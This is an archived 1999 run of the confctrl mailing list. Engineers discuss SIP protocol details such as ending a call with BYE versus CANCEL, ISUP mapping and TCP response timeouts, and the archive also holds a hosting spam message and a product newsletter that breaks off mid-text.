Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

FYI,

I got sufficiently annoyed at there being no HTML'ified archives for the
confctrl mailing list to do it myself:

  http://www-uk.hpl.hp.com/people/ak/confctrl/1999/

The archive is updated daily some time around midnight GMT.

Anders

-- 
Anders Kristensen <ak@hplb.hpl.hp.com>,
http://www-uk.hpl.hp.com/people/ak/
Hewlett-Packard Labs, Bristol, UK

From confctrl-owner  Tue Aug 24 12:28:00 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id MAA19280
	for confctrl-outgoing; Tue, 24 Aug 1999 12:28:00 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id MAA19275
	for <confctrl@zephyr.isi.edu>; Tue, 24 Aug 1999 12:27:59 -0700 (PDT)
Received: from hotmail.com (f160.hotmail.com [207.82.251.39])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id MAA12785
	for <confctrl@ISI.EDU>; Tue, 24 Aug 1999 12:27:58 -0700 (PDT)
Received: (qmail 87013 invoked by uid 0); 24 Aug 1999 19:27:23 -0000
Message-ID: <19990824192723.87012.qmail@hotmail.com>
Received: from 132.208.136.31 by www.hotmail.com with HTTP;
	Tue, 24 Aug 1999 12:27:23 PDT
X-Originating-IP: [132.208.136.31]
From: "I B" <imortada@hotmail.com>
To: confctrl@ISI.EDU
Subject: respose to register
Date: Tue, 24 Aug 1999 12:27:23 PDT
Mime-Version: 1.0
Content-Type: text/plain; format=flowed
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

hello,

does the register request with expires 0 ( unregister) need an reponse 200 
OK.

thanks


______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com

From confctrl-owner  Tue Aug 24 12:28:11 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id MAA19294
	for confctrl-outgoing; Tue, 24 Aug 1999 12:28:11 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id MAA19289
	for <confctrl@zephyr.isi.edu>; Tue, 24 Aug 1999 12:28:10 -0700 (PDT)
Received: from hotmail.com (f307.hotmail.com [207.82.251.220])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id MAA12805
	for <confctrl@ISI.EDU>; Tue, 24 Aug 1999 12:28:08 -0700 (PDT)
Received: (qmail 85239 invoked by uid 0); 24 Aug 1999 19:27:28 -0000
Message-ID: <19990824192728.85238.qmail@hotmail.com>
Received: from 132.208.136.31 by www.hotmail.com with HTTP;
	Tue, 24 Aug 1999 12:27:28 PDT
X-Originating-IP: [132.208.136.31]
From: "I B" <imortada@hotmail.com>
To: confctrl@ISI.EDU
Subject: respose to register
Date: Tue, 24 Aug 1999 12:27:28 PDT
Mime-Version: 1.0
Content-Type: text/plain; format=flowed
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

hello,

does the register request with expires 0 ( unregister) need an reponse 200 
OK.

thanks


______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com

From confctrl-owner  Tue Aug 24 12:38:06 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id MAA19700
	for confctrl-outgoing; Tue, 24 Aug 1999 12:38:06 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id MAA19695
	for <confctrl@zephyr.isi.edu>; Tue, 24 Aug 1999 12:38:04 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id MAA13836
	for <confctrl@isi.edu>; Tue, 24 Aug 1999 12:38:01 -0700 (PDT)
Received: from nova.dnrc.bell-labs.com ([135.180.131.5]) by dirty; Tue Aug 24 15:37:45 EDT 1999
Received: from dnrc.bell-labs.com (igorspc.dnrc.bell-labs.com [135.180.130.146])
	by nova.dnrc.bell-labs.com (8.9.3/8.9.3) with ESMTP id PAA07162;
	Tue, 24 Aug 1999 15:37:30 -0400 (EDT)
Message-ID: <37C2F5D6.BF99DA35@dnrc.bell-labs.com>
Date: Tue, 24 Aug 1999 15:43:18 -0400
From: Igor Slepchin <igors@dnrc.bell-labs.com>
Organization: Bell Labs
X-Mailer: Mozilla 4.61 [en] (WinNT; U)
X-Accept-Language: en,ru
MIME-Version: 1.0
To: Scott Petrack <scott.petrack@metatel.com>
CC: Jonathan Rosenberg <jdrosen@bell-labs.com>,
        Henning Schulzrinne <schulzrinne@cs.columbia.edu>,
        "Adam B. Roach" <Adam.Roach@ericsson.com>,
        Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>, confctrl@ISI.EDU
Subject: Re: call termination (was ISUP tunneling)
References: <Pine.LNX.4.10.9908222148450.3953-100000@petrack.metatel.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

I would argue that sending a BYE with no tag creates a considerable
number of problems and protocol changes and gives little advantage. 

First, such a BYE is not guaranteed to reach the same set of recipients
as the original INVITE (e.g., due to some ACD logic or because of
200OK-BYE race condition) so the UAC still must be prepared to receive
200OK even after sending the BYE and will have to send tagged BYEs to
those call legs.

Second, there is no way to honor Record-Route in such a BYE, which might
leave some of the midstream proxies in inconsistent states.

Third, such a BYE would be just another exception from the rules for
forming SIP requests. Basically, it would follow almost the same rules
as CANCEL (no tag, don't honor Contact, etc.), which is quite different
from regular (tagged) BYE. This will also violate the rule that
consecutive transactions on a call leg must include the tag (which is
mentioned in several places throughout the RFC).
	
Finally, what do you gain by sending a BYE with no tag? If you are
concerned about call tear down time, you can send CANCEL and tagged BYEs
in quick succession. This will take nearly the same time and only few
extra messages since it does not seem likely that UAC would receive more
than a handful of 200OKs. Of course, this still violates the rule of
never having two active transactions for the same call leg, but I
believe this is considerably cleaner than the "no tag BYE" approach.

---
Igor Slepchin


Scott Petrack wrote:
> 
> We certainly prefer approach 2 -- send a BYE to terminate a call. The
> rules seemed simple to us:
> 
>         a) Send a CANCEL to stop branches of a parallel search.
>         b) Send a BYE to terminate a call.
> 
> These are two separate things. A CANCEL never affects a UAS which already
> sent a 200 OK. If you want to terminate a call, you can always try sending
> a CANCEL in hopes that it will help, but you will have to send a BYE to
> anything that responded 200 OK to the INVITE. We just send BYEs for now.
> 
> If the UAC gets a tagged response to the
> INVITE, and does not get an identically tagged response to the untagged
> BYE, the UAC must retransmit the BYE with the correct tag in the To: line.
> (of course, it might have to send the BYE to the address it got from the
> Contact: field in the response).
> 
> If the SIP system routes the BYEs to a different set of UAS as it routed
> the INVITEs, maybe it will also route CANCEL to still a different set.
> 
> Bottom line: send a BYE to hang up a call. You might have to send more
> than one BYE (a "general" BYE and then some specific ones aimed at
> particular UAS (using a tag or a Contact: address).
> 
> Scott
> 
> On Mon, 16 Aug 1999, Jonathan Rosenberg wrote:
> 
> > Henning Schulzrinne wrote:
> > >
> > > "Adam B. Roach" wrote:
> > > >
> > >
> > > >
> > > > We had a conversation last week about CANCEL and BYE that really
> > > > cleared some things up for me; however, it's not information that
> > > > I've seen written down anywhere. It may be useful to document
> > > > somewhere that, for example, when a UAC wishes to terminate a session,
> > > > he typically sends a BYE instead of a CANCEL to do so, even if no
> > > > INVITE response has been received yet. (As an aside: doesn't this
> > > > mean you have two pending transactions at the same time? Is that okay?)
> > >
> > > See Section 4.2.4 in the preliminary revised version of the SIP spec
> > > posted on the SIP web page (ttp://www.cs.columbia.edu/sip/drafts.html).
> > > (Note that this version does not yet incorporate all proposed changes
> > > and corrections noted in the "Changes" section.)
> >
> > The issue, as I recall, was to how the BYE is used. There are two
> > possibilities:
> >
> > 1. After the INVITE is sent, the UAC decides it wants to hang up. So, it
> > sends a CANCEL. Under normal circumstances, this will arrive before any
> > UAS has answered. The UAC receives a 200 OK to the CANCEL immediately
> > (since its locally generated by the first proxy), and then a 487 Request
> > Cancelled response later on, after its been passed back from the UAS's,
> > through the proxies, and back to the UAC. Problem is, a 200 OK and a
> > CANCEL may "pass on the wire". In this case, the UAC still gets a 200 OK
> > to the request. So, it sends an ACK (?), and then hangs up with a BYE.
> > Note that the ACK and BYE both have tags, as they are directed at a
> > specific user. In really oddball cases, there may be multiple 200 OK's,
> > and the UAC must send an ACK (?) and then a BYE for each (always with
> > tags matching the tag in the 200 OK).
> >
> > 2. After the INVITE is sent, the UAC decides it wants to hang up. So, it
> > sends a BYE. This BYE has no tag in it (as there has not been any final
> > responses). The BYE (hopefully) follows the same set of proxies as the
> > original INVITE (there is no Route header either), and reaches the same
> > set of UAS's as the INVITE. Each of those then sends a 200 OK to the
> > BYE, and some kind of error response to the INVITE. The UAC will
> > therefore see a 200 OK to its BYE, and an error response to its INVITE.
> > However, there is also a race condition here. The BYE and a 200 OK to
> > the INVITE may pass on the wire. Thus, the UAC may see a 200 OK to the
> > INVITE, and a 200 OK to the BYE. In this case, though, the UAC doesn't
> > need to do anything else, since the BYE will still have caused the call
> > to hang up. This case can yield odd results if the BYE reaches a
> > different set of UAS's than the INVITE. Then, the UAC may still receive
> > a 200 OK to the BYE (since one of the UAS's responded with a 200 OK),
> > but the call is still active with some other UAS which did not get the
> > BYE. This would be really bad, in fact.
> >
> >
> >
> > I used to think the right approach is (2), but after discussing it with
> > Igor, Adam and others, and thinking about it some more, I'm beginning to
> > think (1) might be better. The case of one side thinking the call is
> > active, and the other thinking its not, is quite bad. The only issue
> > here is whether to send an ACK to the INVITE in this case. I'm inclined
> > to say yes, so that the effect of a CANCEL is really just to speed up
> > completion of a transaction; otherwise, the behavior is normal.
> >
> >
> > -Jonathan R.
> >
> > --
> > Jonathan D. Rosenberg                       Lucent Technologies
> > Member of Technical Staff                   101 Crawfords Corner Rd.
> > High Speed Networks Research                Holmdel, NJ 07733
> > FAX: (732) 834-5379                         Rm. 4C-526
> > EMAIL: jdrosen@bell-labs.com
> > URL: http://www.cs.columbia.edu/~jdrosen
> >

From confctrl-owner  Tue Aug 24 13:02:18 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id NAA20956
	for confctrl-outgoing; Tue, 24 Aug 1999 13:02:18 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id NAA20951
	for <confctrl@zephyr.isi.edu>; Tue, 24 Aug 1999 13:02:17 -0700 (PDT)
Received: from ericsson.com (gwa.ericsson.com [198.215.127.2])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id NAA16638
	for <confctrl@isi.edu>; Tue, 24 Aug 1999 13:02:12 -0700 (PDT)
Received: from mr3.exu.ericsson.se (mr3a.ericsson.com [198.215.127.159])
	by ericsson.com (8.9.3/8.9.3) with ESMTP id PAA17014;
	Tue, 24 Aug 1999 15:01:02 -0500 (CDT)
Received: from newman.exu.ericsson.se (newman.exu.ericsson.se [138.85.10.50])
	by mr3.exu.ericsson.se (8.9.3/8.9.3) with ESMTP id PAA15764;
	Tue, 24 Aug 1999 15:01:02 -0500 (CDT)
Received: from b04a24.exu.ericsson.se (b04a24 [138.85.60.124]) by newman.exu.ericsson.se (8.7.5/8.7.3) with ESMTP id PAA21561; Tue, 24 Aug 1999 15:01:00 -0500 (CDT)
Received: (from exuadam@localhost)
	by b04a24.exu.ericsson.se (8.9.1/8.9.1) id PAA05549;
	Tue, 24 Aug 1999 15:00:57 -0500 (CDT)
Message-Id: <199908242000.PAA05549@b04a24.exu.ericsson.se>
Subject: Re: call termination (was ISUP tunneling)
To: igors@dnrc.bell-labs.com (Igor Slepchin)
Date: Tue, 24 Aug 1999 15:00:56 -0500 (CDT)
Cc: scott.petrack@metatel.com, jdrosen@bell-labs.com,
        schulzrinne@cs.columbia.edu, Adam.Roach@ericsson.com,
        jdrosen@dnrc.bell-labs.com, confctrl@ISI.EDU
In-Reply-To: <37C2F5D6.BF99DA35@dnrc.bell-labs.com> from "Igor Slepchin" at Aug 24, 99 03:43:18 pm
From: "Adam B. Roach" <Adam.Roach@ericsson.com>
X-Mailer: ELM [version 2.4 PL24]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

>I would argue that sending a BYE with no tag creates a considerable
>number of problems and protocol changes and gives little advantage. 

(Summary)
1) ACD (and similar services) makes BYE routing unreliable
2) Can't honor Record-Route
3) Another exceptional behavior (BYE that acts much like CANCEL)
4) No gain in sending BYE instead of CANCEL

 From a SIP protocol point of view, I agree with what Igor is saying.
Now, to confuse the issue:

Since CANCEL is sent hop-by-hop (instead of end-to-end), it
makes it impossible to transit ISUP release messages across
the SIP network unless a call has already been established.
I know this isn't a SIP problem, but, since people are expecting
to be able to do this, it might be something we want to take
into account.

--
Adam Roach, Ericsson Inc. |  Ph: +1 972 583 7594 | 1010 E. Arapaho, MS L-04
adam.roach@ericsson.com   | Fax: +1 972 669 0154 | Richardson, TX 75081 USA

From confctrl-owner  Wed Aug 25 04:45:50 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id EAA23256
	for confctrl-outgoing; Wed, 25 Aug 1999 04:45:50 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id EAA23251
	for <confctrl@zephyr.isi.edu>; Wed, 25 Aug 1999 04:45:48 -0700 (PDT)
Received: from fogerty.ericsson.fi (fogerty.ericsson.fi [131.160.11.6])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id EAA18116
	for <confctrl@ISI.EDU>; Wed, 25 Aug 1999 04:45:47 -0700 (PDT)
Received: from lmf.lmf.ericsson.se ([131.160.11.2])
	by fogerty.ericsson.fi (8.9.3/8.9.3) with ESMTP id OAA16904
	for <confctrl@ISI.EDU>; Wed, 25 Aug 1999 14:45:29 +0300 (EET DST)
Received: from ericsson.com by lmf.lmf.ericsson.se (8.8.8+Sun/SMI-SVR4)
	id OAA07727; Wed, 25 Aug 1999 14:45:13 +0300 (EET DST)
Message-ID: <37C3D73C.74D0897B@ericsson.com>
Date: Wed, 25 Aug 1999 14:45:00 +0300
From: Gonzalo Camarillo <Gonzalo.Camarillo@ericsson.com>
Organization: Oy L M Ericsson Ab
X-Mailer: Mozilla 4.51 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: mmusic <confctrl@ISI.EDU>
Subject: ISUP - SIP draft
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi,

This is a new draft about SIP-ISUP mapping.
Comments are welcome.

Regards,

Gonzalo
-- 
Gonzalo Camarillo         Phone :  +358  9 299 33 71
Oy L M Ericsson Ab        Mobile:  +358 40 702 35 35
Telecom R&D               Fax   :  +358  9 299 31 18
FIN-02420 Jorvas          Email :  Gonzalo.Camarillo@ericsson.com
Finland

From confctrl-owner  Wed Aug 25 11:02:19 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id LAA06626
	for confctrl-outgoing; Wed, 25 Aug 1999 11:02:19 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id LAA06621
	for <confctrl@zephyr.isi.edu>; Wed, 25 Aug 1999 11:02:17 -0700 (PDT)
Received: from bounty.cisco.com (bounty.cisco.com [161.44.2.72])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id LAA18444
	for <confctrl@isi.edu>; Wed, 25 Aug 1999 11:02:16 -0700 (PDT)
Received: from cisco.com (bounty.cisco.com [161.44.2.72])
	by bounty.cisco.com (8.8.8/2.5.1/Cisco List Logging/8.8.8) with ESMTP id OAA17945;
	Wed, 25 Aug 1999 14:01:41 -0400 (EDT)
Message-ID: <37C42F85.E7D13BD9@cisco.com>
Date: Wed, 25 Aug 1999 14:01:41 -0400
From: Shail Bhatnagar <shbhatna@cisco.com>
Organization: CISCO
X-Mailer: Mozilla 4.51C-CISCOENG [en] (X11; U; SunOS 5.6 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: mmusic <confctrl@ISI.EDU>
Subject: SIP over TCP question
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

When running SIP over TCP, what should the UAC do if he does not see
any response within 500 ms of sending the INVITE ?

1 Just terminate the session
2 Wait for another second ( Even UDP will not wait for more than 3 
seconds, since UDP client will get a ICMP error on the second
or third INVITE).

Thanks,
-- 
Best regards,
Shail

From confctrl-owner  Wed Aug 25 14:58:38 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id OAA16116
	for confctrl-outgoing; Wed, 25 Aug 1999 14:58:38 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id OAA16111
	for <confctrl@zephyr.isi.edu>; Wed, 25 Aug 1999 14:58:36 -0700 (PDT)
Received: from gwu.ericy.com (gwu.ericy.com [208.196.3.162])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id OAA15448
	for <confctrl@ISI.EDU>; Wed, 25 Aug 1999 14:58:35 -0700 (PDT)
Received: from mr3.exu.ericsson.se (mr3u.ericy.com [208.238.116.100])
	by gwu.ericy.com (8.9.3/8.9.3) with ESMTP id QAA09621;
	Wed, 25 Aug 1999 16:58:03 -0500 (CDT)
Received: from newman.exu.ericsson.se (newman.exu.ericsson.se [138.85.10.50])
	by mr3.exu.ericsson.se (8.9.3/8.9.3) with ESMTP id QAA03287;
	Wed, 25 Aug 1999 16:58:03 -0500 (CDT)
Received: from b04a45.exu.ericsson.se (b04a45 [138.85.60.145]) by newman.exu.ericsson.se (8.7.5/8.7.3) with ESMTP id QAA26865; Wed, 25 Aug 1999 16:58:02 -0500 (CDT)
From: Sean Olson <eussean@exu.ericsson.se>
Received: (from eussean@localhost)
	by b04a45.exu.ericsson.se (8.9.1/8.9.1) id QAA29005;
	Wed, 25 Aug 1999 16:58:01 -0500 (CDT)
Date: Wed, 25 Aug 1999 16:58:01 -0500 (CDT)
Message-Id: <199908252158.QAA29005@b04a45.exu.ericsson.se>
To: confctrl@ISI.EDU, shbhatna@cisco.com
Subject: Re: SIP over TCP question
X-Sun-Charset: US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


> When running SIP over TCP, what should the UAC do if he does not see
> any response within 500 ms of sending the INVITE ?
> 
> 1 Just terminate the session

After 500ms.... I guess that's highly dependent on your particular 
application, but in general, no.

> 2 Wait for another second ( Even UDP will not wait for more than 3 
> seconds, since UDP client will get a ICMP error on the second
> or third INVITE).
>

This is not the same situation as a UDP client receiving an ICMP error.
Based on the reasons given in section 10.5 "Reliability for INVITE Requests",
I would argue that you should wait the same amount of time that you would
wait for UDP, you simply would not re-transmit the INVITE. In other words,
approx. 63 1/2 seconds (1/2 + 1 + 2 + 4 + 16 + 32)
 
> Thanks,
> -- 
> Best regards,
> Shail
> 

-----------------------------------------------------------------
Sean Olson            E-mail: sean.olson@ericsson.com
Ericsson Inc.         Voice: (972) 583-5472 
                      FAX: (972) 669-0154

From confctrl-owner  Wed Aug 25 15:47:51 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id PAA17848
	for confctrl-outgoing; Wed, 25 Aug 1999 15:47:51 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id PAA17843
	for <confctrl@zephyr.isi.edu>; Wed, 25 Aug 1999 15:47:50 -0700 (PDT)
Received: from petrack.metatel.com (ts001d34.cht-ma.concentric.net [206.173.19.46])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id PAA20911
	for <confctrl@isi.edu>; Wed, 25 Aug 1999 15:47:48 -0700 (PDT)
Received: from localhost (scott.petrack@localhost)
	by petrack.metatel.com (8.9.3/8.9.3) with ESMTP id SAA01406
	for <confctrl@isi.edu>; Wed, 25 Aug 1999 18:50:14 -0400
X-Authentication-Warning: petrack.metatel.com: scott.petrack owned process doing -bs
Date: Wed, 25 Aug 1999 18:50:13 -0400 (EDT)
From: Scott Petrack <scott.petrack@metatel.com>
To: confctrl@ISI.EDU
Subject: How to indicate that the Subject: headers is non-English
Message-ID: <Pine.LNX.4.10.9908251839060.1363-100000@petrack.metatel.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


I want to send a Subject header in Japanese, Cyrillic, unicode, etc.
The other SIP request headers seem to me invariant, but I need a way to
indicate the language. Can I use a Content-Language: header in a request?
Is there some other mechanism?

Thanks,

Scott




From confctrl-owner  Wed Aug 25 17:59:25 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id RAA22987
	for confctrl-outgoing; Wed, 25 Aug 1999 17:59:25 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id RAA22982
	for <confctrl@zephyr.isi.edu>; Wed, 25 Aug 1999 17:59:24 -0700 (PDT)
Received: from diablo.cisco.com (diablo.cisco.com [171.68.224.210])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id RAA02818
	for <confctrl@ISI.EDU>; Wed, 25 Aug 1999 17:59:23 -0700 (PDT)
Received: from jmpolk-8k (dhcp-i-221-148.cisco.com [171.69.221.148]) by diablo.cisco.com (8.8.6 (PHNE_14041)/CISCO.SERVER.1.2) with SMTP id RAA29337; Wed, 25 Aug 1999 17:58:51 -0700 (PDT)
Message-Id: <4.1.19990825195744.00945e90@diablo.cisco.com>
X-Sender: jmpolk@diablo.cisco.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1 
Date: Wed, 25 Aug 1999 19:58:45 -0500
To: Gonzalo Camarillo <Gonzalo.Camarillo@ericsson.com>,
        mmusic <confctrl@ISI.EDU>
From: "James M. Polk" <jmpolk@cisco.com>
Subject: Re: ISUP - SIP draft
In-Reply-To: <37C3D73C.74D0897B@ericsson.com>
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="=====================_30098106==_.ALT"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--=====================_30098106==_.ALT
Content-Type: text/plain; charset="us-ascii"


Gonzalo

This "what"? 

Is there a doc reference, URL or one that was supposed to be attached?

At 02:45 PM 8/25/1999 +0300, Gonzalo Camarillo wrote:
>Hi,
>
>This is a new draft about SIP-ISUP mapping.
>Comments are welcome.
>
>Regards,
>
>Gonzalo
>-- 
>Gonzalo Camarillo         Phone :  +358  9 299 33 71
>Oy L M Ericsson Ab        Mobile:  +358 40 702 35 35
>Telecom R&D               Fax   :  +358  9 299 31 18
>FIN-02420 Jorvas          Email :  Gonzalo.Camarillo@ericsson.com
>Finland

_______________________________________________________ 
"Life is about making the things you want to do.... the things you've done"

James M. Polk 
Sr. Product Manager, Multiservice Architecture and Standards
Enterprise Voice Business Unit
Cisco Systems
Dallas, Texas
w) 972.813.5208
f)  972.813.5199
www.cisco.com
--=====================_30098106==_.ALT
Content-Type: text/html; charset="us-ascii"

<html><div>Gonzalo</div>
<br>
<div>This &quot;what&quot;? </div>
<br>
<div>Is there a doc reference, URL or one that was supposed to be
attached?</div>
<br>
<div>At 02:45 PM 8/25/1999 +0300, Gonzalo Camarillo wrote:</div>
<div>&gt;Hi,</div>
<div>&gt;</div>
<div>&gt;This is a new draft about SIP-ISUP mapping.</div>
<div>&gt;Comments are welcome.</div>
<div>&gt;</div>
<div>&gt;Regards,</div>
<div>&gt;</div>
<div>&gt;Gonzalo</div>
<div>&gt;-- </div>
<div>&gt;Gonzalo
Camarillo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Phone :&nbsp;
+358&nbsp; 9 299 33 71</div>
<div>&gt;Oy L M Ericsson Ab&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
Mobile:&nbsp; +358 40 702 35 35</div>
<div>&gt;Telecom
R&amp;D&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
Fax&nbsp;&nbsp; :&nbsp; +358&nbsp; 9 299 31 18</div>
<div>&gt;FIN-02420
Jorvas&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Email
:&nbsp; Gonzalo.Camarillo@ericsson.com</div>
<div>&gt;Finland</div>
<br>

<div align="center">
_______________________________________________________ <br>
&quot;Life is about making the things you want to do.... the things
you've done&quot;<br>
<br>
</div>
James M. Polk <br>
Sr. Product Manager, Multiservice Architecture and Standards<br>
Enterprise Voice Business Unit<br>
Cisco Systems<br>
Dallas, Texas<br>
w) 972.813.5208<br>
f)&nbsp; 972.813.5199<br>
<a href="http://www.cisco.com/" eudora="autourl">www.cisco.com</a></html>

--=====================_30098106==_.ALT--


From confctrl-owner  Wed Aug 25 21:46:08 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id VAA02575
	for confctrl-outgoing; Wed, 25 Aug 1999 21:46:08 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id VAA02570
	for <confctrl@zephyr.isi.edu>; Wed, 25 Aug 1999 21:46:06 -0700 (PDT)
Received: from DISCOUNT-HOSTING.NET (orl3-61.gdi.net [209.26.119.189])
	by venera.isi.edu (8.8.7/8.8.6) with SMTP id VAA04216;
	Wed, 25 Aug 1999 21:45:53 -0700 (PDT)
X-Mailer: CyberCreek Avalanche 98 Demo; RSR Build:35777
From: mark@albaniaonline.net
To: @ISI.EDU
Message-Id: <ayjjisynhiqtxb.ootjynttmwdbdhtwim@DISCOUNT-HOSTING.NET>
Date: Thu, 26 Aug 1999 00:42:58 -0500
Subject: $9.95/mo. website hosting
Reply-To: host@centroin.net
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7BIT
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

We offer Web Hosting for the following server platform: NT 4.0 Running IIS4
as low as $9.95/month, paid quarterly or annually, plus a $19.95 set-up fee

All our servers are Dell Poweredge dual PIII 4300 series
Our Connectivity is based on redundant state of the art equiptment

          *** Call Now!!!  for details 888-848-HOST(4678) ***

Our  hosting includes:

FREE!!! Registration of a domain or transfer 
Storage Unlimited
Bandwith Unlimited
FrontPage 2000 extensions FREE!!! 
Unlimited  e-mail accounts
Unlimited Autoresponders
Full Control E-mail Administration
24 hour private FTP access ftp.yourdomain.com 
Your own Cgi-Bin Directory 
Daily tape back-ups
UPS Backups
ODBC Support
Cold Fusion Support
ASP Support
Secure Server (SSL) access
Real Audio/Video
30 Day money back guarantee
Same day set-up 
24 hour access and monitoring of your site 
Access Logs 

                     * Resellers get Special Deals How About*
                           Call for details 888-848-HOST(4678)


From confctrl-owner  Thu Aug 26 07:57:02 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA23654
	for confctrl-outgoing; Thu, 26 Aug 1999 07:57:02 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA23649
	for <confctrl@zephyr.isi.edu>; Thu, 26 Aug 1999 07:57:00 -0700 (PDT)
Received: from jaguars.cableinet.net (jaguars-int.cableinet.net [193.38.113.9])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id HAA17938
	for <confctrl@isi.edu>; Thu, 26 Aug 1999 07:56:58 -0700 (PDT)
Message-Id: <199908261456.HAA17938@tnt.isi.edu>
Received: (qmail 3781 invoked from network); 26 Aug 1999 14:57:07 -0000
Received: from unknown (HELO usr156-haw.cableinet.co.uk) (194.117.146.177)
  by jaguars with SMTP; 26 Aug 1999 14:57:07 -0000
From: newsletter <newsletter@cabot.co.uk>
To: "Cabot Software Newsletter" <newsletter@cabot.co.uk>
Date: Thu, 26 Aug 1999 15:20:35 +0100
X-Distribution: Bulk
MIME-Version: 1.0
Content-type: text/plain; charset=US-ASCII
Content-transfer-encoding: 7BIT
Subject: Cabot's September 1999 Newsletter
Reply-to: newsletter@cabot.co.uk
Priority: normal
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

---------------------------------------------------------------------
CABOT's SEPTEMBER 1999 NEWSLETTER

THE LATEST FROM CABOT SOFTWARE

----------------------------------------------------------------------
Dotrans Promotion
----------------------------------------------------------------------
Dotrans (Dolittle Translator) is the World's First Internet to 
Digital TV Translator.

Dotrans converts HTML pages into MHEG-5 pages.

Cabot's new Dotrans Professional version now translates both 
Internet text and graphics to MHEG-5 and PNG image format.

Dotrans Professional Introductory offer of 350 (UK Pounds) + VAT 
+ Shipping.  RRP 500 (UK Pounds).

Full product information and diagrams are all on our web site at 
